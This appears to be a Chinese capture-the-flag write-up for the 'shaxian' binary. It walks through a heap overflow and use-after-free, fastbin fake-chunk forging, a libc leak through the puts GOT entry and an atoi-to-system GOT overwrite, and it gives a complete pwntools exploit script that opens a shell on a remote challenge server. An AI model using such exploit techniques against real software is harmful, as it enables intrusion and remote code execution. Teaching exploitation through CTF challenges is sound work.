首先,检查一下程序的保护机制
然后,我们用IDA分析一下
功能1存在溢出
free后没有清空指针
我们先**[创建链表三个节点,程序使用的是头插法,因此,当我们释放的时候,第一个节点最后释放,而当我们再申请同样大小的块时,由于fastbin的特性,第一个块就先被申请回来了,这样,我们溢出到节点2的结构体,覆盖指针为函数got表,就能泄露信息]{.mark}**
1 2 3 4 5 6 7 8 9 10 11
| add('10','a') add('10','b') add('10','c')
delete()
payload = 'a'*0x20 + p32(puts_got-0x4)
payload += p32(0) + p32(0x31) + p32(ptr-0x10) add('10',payload)
|
然后,我们show,就能泄露信息了
1 2 3 4 5 6 7 8 9
| show() sh.recvuntil('* 10\n') puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
|
接下来,我们想办法修改atoi的got表内容为system地址,由于fastbin特性,我们不能直接申请到atoi的got表处,因此,我们得想其他办法。只要我们**[控制了dword_804B1C0这个链表头指针,我们就能对指定位置进行读写,因此,我们只要申请到这个指针附近,就可以控制它。]{.mark}**
因此,看到之前,我们在覆盖节点1(chunk0)的next指针时,顺便把chunk1的fd指针指向了ptr-0x10处,因为我们准备在这附近伪造一个大小一样的chunk结构,就可以申请到这里。
而这个fake_chunk,我们得事先伪好,因此在程序一开始的时候
1 2 3 4
| fake_chunk = p32(0) + p32(0x31)
payload = 'd'*(0x100-0x10) + fake_chunk sh.sendlineafter('Your Phone number:',payload)
|
当我们申请到fake_chunk处时,就可以顺便修改atoi的got表了,我们再重新来看看程序的插入逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int sub_80488AF() { _DWORD *v0; int v2; v2 = dword_804B1C0; puts("CHI SHEN ME?"); puts("1.Banmian"); puts("2.Bianrou"); puts("3.Qingtangmian"); puts("4.Jianbao"); puts("5.Jianjiao"); dword_804B1C0 = (int)malloc(0x28u); if ( !dword_804B1C0 ) return puts("Error"); *(_DWORD *)(dword_804B1C0 + 36) = v2; sub_804865D(0, dword_804B1C0 + 4, 0x3C, 10); puts("How many?"); v0 = (_DWORD *)dword_804B1C0; *v0 = sub_80486CD(); puts("Add to GOUWUCHE"); return dword_804B2E0++ + 1; }
|
综上,我们完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * from LibcSearcher import *
sh = remote('111.198.29.45',55897) elf = ELF('./shaxian') puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] ptr = 0x804B1C0 def add(count,content): sh.sendlineafter('choose:','1') sh.sendlineafter('5.Jianjiao',content) sh.sendlineafter('How many?',count) def delete(): sh.sendlineafter('choose:','2') def show(): sh.sendlineafter('choose:','4') sh.sendlineafter('Your Address:','seaase') fake_chunk = p32(0) + p32(0x31)
payload = 'd'*(0x100-0x10) + fake_chunk sh.sendlineafter('Your Phone number:',payload)
add('10','a') add('10','b') add('10','c')
delete()
payload = 'a'*0x20 + p32(puts_got-0x4)
payload += p32(0) + p32(0x31) + p32(ptr-0x10) add('10',payload) show() sh.recvuntil('* 10\n') puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) add('10','b')
add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))
sh.sendline('/bin/sh') sh.interactive()
|